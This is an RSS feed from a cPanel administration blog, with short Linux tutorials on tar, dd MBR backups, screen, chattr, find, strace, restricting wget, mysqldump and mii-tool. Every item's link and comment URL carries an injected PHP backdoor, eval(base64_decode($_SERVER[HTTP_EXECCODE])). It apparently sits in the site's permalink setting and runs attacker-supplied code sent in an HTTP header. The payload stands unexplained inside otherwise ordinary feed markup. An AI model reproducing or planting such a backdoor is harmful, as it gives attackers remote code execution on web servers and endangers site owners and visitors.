<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; Linux commands</title>
	<atom:link href="http://www.cpanelconfig.com/category/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Create a tar archive from a directory</title>
		<link>http://www.cpanelconfig.com/2008/11/30/create-a-tar-archive-from-a-directory/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/11/30/create-a-tar-archive-from-a-directory/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 21:18:30 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[tar]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=88</guid>
		<description><![CDATA[Since I started working with cPanel server I always needed to create archives from directories.
For example backing up a user&#8217;s home directory.




How can you do this? It&#8217;s not difficult at all. For exemple to backup a user home directory you would have to run:
tar -pczf rchive.tar.gz /home/USERNAME
You can read more about tar by reading it&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>Since I started working with cPanel server I always needed to create archives from directories.<br />
For example backing up a user&#8217;s home directory.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
How can you do this? It&#8217;s not difficult at all. For exemple to backup a user home directory you would have to run:</p>
<blockquote><p>tar -pczf rchive.tar.gz /home/USERNAME</p></blockquote>
<p>You can read more about tar by reading it&#8217;s manual.</p>
<blockquote><p>man tar</p></blockquote>
<p>Happy reading !<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/11/30/create-a-tar-archive-from-a-directory/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Backup partition table and bootloader</title>
		<link>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 10:10:58 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[bootloader]]></category>
		<category><![CDATA[mbr]]></category>
		<category><![CDATA[partition table]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=72</guid>
		<description><![CDATA[In this article I will be explaining how to backup the MBR record of a hard-drive.
The MBR record contains the partition table and bootloader.

Having a backup of the MBR is useful in case you want to copy data from an older drive to a new one or in case you want to restore data from [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I will be explaining how to backup the MBR record of a hard-drive.<br />
The MBR record contains the partition table and bootloader.<br />
<!--adsense--><br />
Having a backup of the MBR is useful in case you want to copy data from an older drive to a new one or in case you want to restore data from a damaged drive.<br />
<strong>How to backup the MBR record</strong></p>
<blockquote><p>dd if=/dev/sdX of=MBR.bck bs=512 count=1</p></blockquote>
<p>Please note that you have to replace /dev/sdX with your actual drive. This can be /dev/sda, /dev/hda, etc.</p>
<p><strong>How to restore de MBR record</strong></p>
<blockquote><p>dd if=MBR.bck of=/dev/sdX bs=512 count=1</p></blockquote>
<p>Again you have to replace /dev/sdX with your actual drive.<br />
<!--adsense--><br />
If you also want to  keep a human readable copy of the partition table you can run:</p>
<blockquote><p>fdisk -l &gt; part.table</p></blockquote>
<p>I hope it helps !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using the screen command</title>
		<link>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 08:09:08 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[screen]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=70</guid>
		<description><![CDATA[What is the screen command?

First of all I will start by telling you what you can do using the &#8220;screen&#8221; command.
Many times as a linux sysadmin you will need to run multiple commands at once. You are probably doing this by opening multiple ssh sessions but there is a better way to do it !
Also [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is the screen command?</strong></p>
<p><!--adsense--><br />
First of all I will start by telling you what you can do using the &#8220;screen&#8221; command.<br />
Many times as a linux sysadmin you will need to run multiple commands at once. You are probably doing this by opening multiple ssh sessions but there is a better way to do it !<br />
Also as a sysadmin you probably had to run a command or script that is taking hours to finish like a rsync. This usually requires you to keep the ssh session open as if you close it the command or script will also be closed.</p>
<p>If you ever faced any of those problems then it&#8217;s probably time to learn about the screen command.</p>
<p>Screen &#8211; makes it possible to run multiple full-screen pseudo-terminals from one real terminal, and lets you manipulate and save your screen input and output, copy and paste between windows.</p>
<p>In this tutorial I will only present how you can run a command that is taking hours to complete in a screen.<br />
<!--adsense--><br />
First of all make sure that you have screen installed. If you don&#8217;t you can install it using yum, apt-get or any other package manager that you might have on your server.</p>
<blockquote><p>yum install screen</p></blockquote>
<p>Now type in:</p>
<blockquote><p>screen</p></blockquote>
<p>This will start a new screen for you. You could also name you screen using the -S option. Something like:</p>
<blockquote><p>screen -S 1</p></blockquote>
<p>In this case I named the screen &#8220;1&#8243;.</p>
<p>The screeen will look like any other ssh window.<br />
You can now type in your command that you want to run.</p>
<p>If you want to detach from the screen and still keep the command running you can do this by pressing:</p>
<blockquote><p><strong>Ctrl-a d (that is press Ctrl-a, release and press d)</strong></p></blockquote>
<p>If you want to reatach to a screen you simply type in:</p>
<blockquote><p>screen -r</p></blockquote>
<p>Other options that you have when you are in a screen are:</p>
<ol>
<li> To create a new screen:</li>
<blockquote><p><strong>Ctrl-a c</strong></p></blockquote>
<li>To switch between screens:</li>
<blockquote><p><strong>Ctrl-a n</strong></p></blockquote>
<li>And many others.</li>
</ol>
<p>For more help on this you can use:</p>
<blockquote><p>man screen</p></blockquote>
<p><!--adsense--><br />
Hope it helps!<br />
If you have any questions just leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making a file or folder undeletable (even to root) &#8211; chattr</title>
		<link>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 18:35:33 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[chattr]]></category>
		<category><![CDATA[immutable]]></category>
		<category><![CDATA[lsattr]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=42</guid>
		<description><![CDATA[This article will tell you how you can make a file or folder undeletable (immutable) even for root.

This is useful if you have an important file that you don&#8217;t want to delete by accident or if you are investigating some user&#8217;s files and you don&#8217;t want someone deleting the &#8220;evidence&#8221; while you investigate.
The command works [...]]]></description>
			<content:encoded><![CDATA[<p>This article will tell you how you can make a file or folder undeletable (immutable) even for root.<br />
<!--adsense--><br />
This is useful if you have an important file that you don&#8217;t want to delete by accident or if you are investigating some user&#8217;s files and you don&#8217;t want someone deleting the &#8220;evidence&#8221; while you investigate.</p>
<p>The command works by setting the immutable bit of the file.</p>
<p>How you can make a file immutable ?<br />
Note: This command must be run as root</p>
<blockquote><p>chattr +i file_name</p></blockquote>
<p>An example use would be:</p>
<p><!--adsense--></p>
<blockquote><p>chattr +i ftp.log</p></blockquote>
<p>Now if I want to delete the file I would get:</p>
<blockquote><p>rm -f ftp.log<br />
rm: cannot remove `ftp.log&#8217;: Operation not permitted</p></blockquote>
<p>Please remember that this was done as root !</p>
<p>If you want to unset the immutable bit you can use the command:</p>
<blockquote><p>chattr -i file_name</p></blockquote>
<p>If you want to check what are the attributes of a file you can do so using the command lsattr:</p>
<blockquote><p>lsattr file_name</p></blockquote>
<p>In our example we would be getting:<br />
<!--adsense--></p>
<blockquote><p>lsattr ftp.log<br />
&#8212;-i&#8212;&#8212;&#8211; ftp.log</p></blockquote>
<p>Please notice the immutable bit !</p>
<p>Hope it helps!<br />
If you have any questions just leave me a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/06/25/making-a-file-or-folder-undeletable-even-to-root-chattr/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Finding files with the find command linux</title>
		<link>http://www.cpanelconfig.com/2008/06/23/finding-files-with-the-find-command-linux/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/06/23/finding-files-with-the-find-command-linux/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 12:00:33 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[find]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=40</guid>
		<description><![CDATA[Unix/Linux &#8220;find&#8221; command mini-tutorial

The find command is used to locate files on a Unix or Linux  system.  find will search any set of directories you specify for  files that match the supplied search criteria.  You can search for  files by name, owner, group, type, permissions, date, and other criteria.  The  search [...]]]></description>
			<content:encoded><![CDATA[<p>Unix/Linux &#8220;find&#8221; command mini-tutorial<br />
<!--adsense--><br />
The <code>find</code> command is used to locate files on a Unix or Linux  system.  <code>find</code> will search any set of directories you specify for  files that match the supplied <em>search criteria</em>.  You can search for  files by name, owner, group, type, permissions, date, and other criteria.  The  search is recursive in that it will search all subdirectories too.  The syntax  looks like this:</p>
<blockquote>
<pre class="Indent">find <em>where-to-look criteria what-to-do</em></pre>
</blockquote>
<p><!--adsense--><br />
All arguments to <code>find</code> are optional, and there are defaults for  all parts.  (This may depend on which version of <code>find</code> is used.   Here we discuss the freely available GNU version of <code>find</code>, which is  the version available on <code>YborStudent</code>.)  For example  <code><em>where-to-look</em></code> defaults to <code>.</code> (that is, the  current working directory), <code><em>criteria</em></code> defaults to none  (that is, show all files), and <code><em>what-to-do</em></code> (known as the  <code>find</code> <em>action</em>) defaults to <code>-print</code> (that is,  display found files to standard output).</p>
<p>For example:</p>
<blockquote>
<pre class="Indent">find</pre>
</blockquote>
<p>will display all files in the current directory and all subdirectories.  The  commands</p>
<blockquote>
<pre class="Indent">find . -print
find .</pre>
</blockquote>
<p>do the exact same thing.  Here&#8217;s an example <code>find</code> command using a  search criteria and the default action:</p>
<blockquote>
<pre class="Indent">find / -name foo</pre>
</blockquote>
<p>will search the whole system for any files named <code>foo</code> and display  them.  Here we are using the criteria <code>-name</code> with the argument  <code>foo</code> to tell <code>find</code> to perform a name search for the  filename <code>foo</code>. The output might look like this:</p>
<blockquote>
<pre class="Indent">/home/wpollock/foo
/home/ua02/foo
/tmp/foo</pre>
</blockquote>
<p>If <code>find</code> doesn&#8217;t locate any matching files, it produces no  output.</p>
<p>The above example said to search the whole system, by specifying the root  directory (<q><code>/</code></q>) to search.  If you don&#8217;t run this command as  root, <code>find</code> will display a error message for each directory on which  you don&#8217;t have read permission.  This can be a lot of messages, and the matching  files that are found may scroll right off your screen.  A good way to deal with  this problem is to redirect the error messages so you don&#8217;t have to see them at  all:</p>
<blockquote>
<pre class="Indent">find / -name foo <strong>2&gt;/dev/null

</strong></pre>
</blockquote>
<p><!--adsense--><br />
Note:Article based on: http://www.hccfl.edu/pollock/Unix/FindCmd.htm</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/06/23/finding-files-with-the-find-command-linux/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tracing what a Linux process is doing</title>
		<link>http://www.cpanelconfig.com/2008/06/22/traceing-what-a-linux-process-is-doing/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/06/22/traceing-what-a-linux-process-is-doing/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 14:10:08 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[strace trace exploit]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/traceing-what-a-linux-process-is-doing/</guid>
		<description><![CDATA[From time to time you will get hanged process or you are unsure of what a process is doing at that moment.

You can trace what a process is doing by running:
 strace -p PID
Where PID is the process ID. Whis will show you what that process is doing in real time.
This is usefull for detecting  exploits [...]]]></description>
			<content:encoded><![CDATA[<p>From time to time you will get hanged process or you are unsure of what a process is doing at that moment.<br />
<!--adsense--><br />
You can trace what a process is doing by running:</p>
<blockquote><p> strace -p PID</p></blockquote>
<p>Where PID is the process ID. Whis will show you what that process is doing in real time.</p>
<p>This is usefull for detecting  exploits or the source of a hang process.</p>
<p>To detach from that process simply press CTRL + C.<br />
<!--adsense--><br />
Hope it helps ! Leave a comment if you have any questions.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/06/22/traceing-what-a-linux-process-is-doing/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Disable wget</title>
		<link>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 13:41:16 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[General work]]></category>
		<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/disable-wget/</guid>
		<description><![CDATA[wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.

It is highly recommended that you allow only root to use wget and you restrict all other users from it.

Login to your server as [...]]]></description>
			<content:encoded><![CDATA[<p>wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.<br />
<!--adsense--><br />
It is highly recommended that you allow only root to use wget and you restrict all other users from it.</p>
<ol>
<li>Login to your server as root</li>
<li>Run the fallowing command</li>
<blockquote><p>chmod 0700 /usr/bin/wget</p></blockquote>
</ol>
<p>Please note that disabling wget might cause some scripts to stop working. A known problem is that Fantastico will stop updating after this. The solution is pretty easy&#8230;<br />
<strong>Before </strong>you disable wget make sure that you do a copy of it with the initial permissions. You can use any name that you want, the fallowing is just an example:</p>
<blockquote><p>cp /usr/bin/wget /usr/bin/wget_secret</p></blockquote>
<p><!--adsense--><br />
In the Fantastico configuration input the location to wget as:</p>
<blockquote><p>/usr/bin/wget_secret</p></blockquote>
<p>If for some reason you you want to revert the change you simply have to do:</p>
<blockquote><p>chmod 0711 /usr/bin/wget</p></blockquote>
<p>If you have any questions or suggestions please leave a comment.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Importing/Exporting a mysql database</title>
		<link>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 05 Nov 2007 16:30:44 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[export]]></category>
		<category><![CDATA[import]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqldump]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/importingexporting-a-mysql-database/</guid>
		<description><![CDATA[
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.
This article will show you how simple it is to do it.
Importing a mysql database

Login to your server as root or [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.<br />
This article will show you how simple it is to do it.</p>
<p><strong>Importing a mysql database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysql -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &lt; database.sql</p></blockquote>
</ol>
<p><!--adsense--><br />
<strong>Exporting a database</strong></p>
<ol>
<li>Login to your server as root or as a user that has access to that database</li>
<li>Type the fallowing command</li>
<blockquote><p>mysqldump -u<strong>USERNAME</strong> -p<strong>PASSWORD</strong> database_name &gt; database.sql</p></blockquote>
</ol>
<p>Notes:</p>
<p>USERNAME and PASSWORD is a combination that has access to that database. It can actually be the mysql root user.<br />
database.sql is the file imported or the file to which you do the export.</p>
<p>Hope this helps !<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to determine the connection speed</title>
		<link>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 21:38:25 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[connection]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[mii-tool]]></category>
		<category><![CDATA[speed]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/how-to-determine-the-connection-speed/</guid>
		<description><![CDATA[
I&#8217;ve been asked this several times so I hope this little article will help many people.
The question is: how do I determine the connection speed negotiated with the switch?
Many ask this because they want to be sure that they are getting what they pay for.
Please note that this is will NOT determine your server max [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
I&#8217;ve been asked this several times so I hope this little article will help many people.<br />
The question is: how do I determine the connection speed negotiated with the switch?<br />
Many ask this because they want to be sure that they are getting what they pay for.<br />
Please note that this is will NOT determine your server max speed but rather it will tell you the connection speed negotiated with the switch.</p>
<p>Simply run as root:</p>
<blockquote><p>mii-tool</p></blockquote>
<p>This will output something like:</p>
<blockquote><p>eth0: negotiated 100baseTx-FD, link ok</p></blockquote>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/18/how-to-determine-the-connection-speed/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
